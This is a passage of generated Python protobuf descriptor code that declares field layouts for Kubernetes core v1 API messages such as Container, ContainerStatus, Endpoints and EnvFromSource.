full_name='k8s.io.api.core.v1.Container.volumeDevices', index=10, number=21, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='livenessProbe', full_name='k8s.io.api.core.v1.Container.livenessProbe', index=11, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readinessProbe', full_name='k8s.io.api.core.v1.Container.readinessProbe', index=12, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='startupProbe', full_name='k8s.io.api.core.v1.Container.startupProbe', index=13, number=22, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lifecycle', full_name='k8s.io.api.core.v1.Container.lifecycle', index=14, number=12, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='terminationMessagePath', full_name='k8s.io.api.core.v1.Container.terminationMessagePath', index=15, number=13, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='terminationMessagePolicy', full_name='k8s.io.api.core.v1.Container.terminationMessagePolicy', index=16, number=20, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='imagePullPolicy', full_name='k8s.io.api.core.v1.Container.imagePullPolicy', index=17, number=14, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='securityContext', full_name='k8s.io.api.core.v1.Container.securityContext', index=18, number=15, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stdin', full_name='k8s.io.api.core.v1.Container.stdin', index=19, number=16, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stdinOnce', full_name='k8s.io.api.core.v1.Container.stdinOnce', index=20, number=17, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tty', full_name='k8s.io.api.core.v1.Container.tty', index=21, number=18, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=4258, serialized_end=5065, ) _CONTAINERIMAGE = _descriptor.Descriptor( name='ContainerImage', full_name='k8s.io.api.core.v1.ContainerImage', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='names', full_name='k8s.io.api.core.v1.ContainerImage.names', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sizeBytes', full_name='k8s.io.api.core.v1.ContainerImage.sizeBytes', index=1, number=2, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=5067, serialized_end=5117, ) _CONTAINERPORT = _descriptor.Descriptor( name='ContainerPort', full_name='k8s.io.api.core.v1.ContainerPort', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.ContainerPort.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostPort', full_name='k8s.io.api.core.v1.ContainerPort.hostPort', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='containerPort', full_name='k8s.io.api.core.v1.ContainerPort.containerPort', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='protocol', full_name='k8s.io.api.core.v1.ContainerPort.protocol', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostIP', full_name='k8s.io.api.core.v1.ContainerPort.hostIP', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=5119, serialized_end=5223, ) _CONTAINERSTATE = _descriptor.Descriptor( name='ContainerState', full_name='k8s.io.api.core.v1.ContainerState', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='waiting', full_name='k8s.io.api.core.v1.ContainerState.waiting', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='running', full_name='k8s.io.api.core.v1.ContainerState.running', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='terminated', full_name='k8s.io.api.core.v1.ContainerState.terminated', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=5226, serialized_end=5428, ) _CONTAINERSTATERUNNING = _descriptor.Descriptor( name='ContainerStateRunning', full_name='k8s.io.api.core.v1.ContainerStateRunning', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='startedAt', full_name='k8s.io.api.core.v1.ContainerStateRunning.startedAt', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=5430, serialized_end=5516, ) _CONTAINERSTATETERMINATED = _descriptor.Descriptor( name='ContainerStateTerminated', full_name='k8s.io.api.core.v1.ContainerStateTerminated', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='exitCode', full_name='k8s.io.api.core.v1.ContainerStateTerminated.exitCode', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='signal', full_name='k8s.io.api.core.v1.ContainerStateTerminated.signal', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.ContainerStateTerminated.reason', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.ContainerStateTerminated.message', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='startedAt', full_name='k8s.io.api.core.v1.ContainerStateTerminated.startedAt', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='finishedAt', full_name='k8s.io.api.core.v1.ContainerStateTerminated.finishedAt', index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='containerID', full_name='k8s.io.api.core.v1.ContainerStateTerminated.containerID', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=5519, serialized_end=5760, ) _CONTAINERSTATEWAITING = _descriptor.Descriptor( name='ContainerStateWaiting', full_name='k8s.io.api.core.v1.ContainerStateWaiting', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.ContainerStateWaiting.reason', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.ContainerStateWaiting.message', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=5762, serialized_end=5818, ) _CONTAINERSTATUS = _descriptor.Descriptor( name='ContainerStatus', full_name='k8s.io.api.core.v1.ContainerStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.ContainerStatus.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='state', full_name='k8s.io.api.core.v1.ContainerStatus.state', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastState', full_name='k8s.io.api.core.v1.ContainerStatus.lastState', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ready', full_name='k8s.io.api.core.v1.ContainerStatus.ready', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='restartCount', full_name='k8s.io.api.core.v1.ContainerStatus.restartCount', index=4, number=5, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='image', full_name='k8s.io.api.core.v1.ContainerStatus.image', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='imageID', full_name='k8s.io.api.core.v1.ContainerStatus.imageID', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='containerID', full_name='k8s.io.api.core.v1.ContainerStatus.containerID', index=7, number=8, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='started', full_name='k8s.io.api.core.v1.ContainerStatus.started', index=8, number=9, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=5821, serialized_end=6065, ) _DAEMONENDPOINT = _descriptor.Descriptor( name='DaemonEndpoint', full_name='k8s.io.api.core.v1.DaemonEndpoint', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='Port', full_name='k8s.io.api.core.v1.DaemonEndpoint.Port', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6067, serialized_end=6097, ) _DOWNWARDAPIPROJECTION = _descriptor.Descriptor( name='DownwardAPIProjection', full_name='k8s.io.api.core.v1.DownwardAPIProjection', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.DownwardAPIProjection.items', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6099, serialized_end=6180, ) _DOWNWARDAPIVOLUMEFILE = _descriptor.Descriptor( name='DownwardAPIVolumeFile', full_name='k8s.io.api.core.v1.DownwardAPIVolumeFile', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.DownwardAPIVolumeFile.path', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fieldRef', full_name='k8s.io.api.core.v1.DownwardAPIVolumeFile.fieldRef', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resourceFieldRef', full_name='k8s.io.api.core.v1.DownwardAPIVolumeFile.resourceFieldRef', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='mode', full_name='k8s.io.api.core.v1.DownwardAPIVolumeFile.mode', index=3, number=4, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6183, serialized_end=6362, ) _DOWNWARDAPIVOLUMESOURCE = _descriptor.Descriptor( name='DownwardAPIVolumeSource', full_name='k8s.io.api.core.v1.DownwardAPIVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.DownwardAPIVolumeSource.items', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='defaultMode', full_name='k8s.io.api.core.v1.DownwardAPIVolumeSource.defaultMode', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6364, serialized_end=6468, ) _EMPTYDIRVOLUMESOURCE = _descriptor.Descriptor( name='EmptyDirVolumeSource', full_name='k8s.io.api.core.v1.EmptyDirVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='medium', full_name='k8s.io.api.core.v1.EmptyDirVolumeSource.medium', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sizeLimit', full_name='k8s.io.api.core.v1.EmptyDirVolumeSource.sizeLimit', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6470, serialized_end=6575, ) _ENDPOINTADDRESS = _descriptor.Descriptor( name='EndpointAddress', full_name='k8s.io.api.core.v1.EndpointAddress', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='ip', full_name='k8s.io.api.core.v1.EndpointAddress.ip', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostname', full_name='k8s.io.api.core.v1.EndpointAddress.hostname', index=1, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodeName', full_name='k8s.io.api.core.v1.EndpointAddress.nodeName', index=2, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='targetRef', full_name='k8s.io.api.core.v1.EndpointAddress.targetRef', index=3, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6577, serialized_end=6698, ) _ENDPOINTPORT = _descriptor.Descriptor( name='EndpointPort', full_name='k8s.io.api.core.v1.EndpointPort', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.EndpointPort.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='port', full_name='k8s.io.api.core.v1.EndpointPort.port', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='protocol', full_name='k8s.io.api.core.v1.EndpointPort.protocol', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='appProtocol', full_name='k8s.io.api.core.v1.EndpointPort.appProtocol', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6700, serialized_end=6781, ) _ENDPOINTSUBSET = _descriptor.Descriptor( name='EndpointSubset', full_name='k8s.io.api.core.v1.EndpointSubset', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='addresses', full_name='k8s.io.api.core.v1.EndpointSubset.addresses', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='notReadyAddresses', full_name='k8s.io.api.core.v1.EndpointSubset.notReadyAddresses', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ports', full_name='k8s.io.api.core.v1.EndpointSubset.ports', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6784, serialized_end=6969, ) _ENDPOINTS = _descriptor.Descriptor( name='Endpoints', full_name='k8s.io.api.core.v1.Endpoints', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.Endpoints.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='subsets', full_name='k8s.io.api.core.v1.Endpoints.subsets', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=6972, serialized_end=7104, ) _ENDPOINTSLIST = _descriptor.Descriptor( name='EndpointsList', full_name='k8s.io.api.core.v1.EndpointsList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.EndpointsList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.EndpointsList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=7106, serialized_end=7233, ) _ENVFROMSOURCE = _descriptor.Descriptor( name='EnvFromSource', full_name='k8s.io.api.core.v1.EnvFromSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='prefix', full_name='k8s.io.api.core.v1.EnvFromSource.prefix', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='configMapRef', full_name='k8s.io.api.core.v1.EnvFromSource.configMapRef', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.EnvFromSource.secretRef', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=7236, serialized_end=7385, ) _ENVVAR = _descriptor.Descriptor( name='EnvVar', 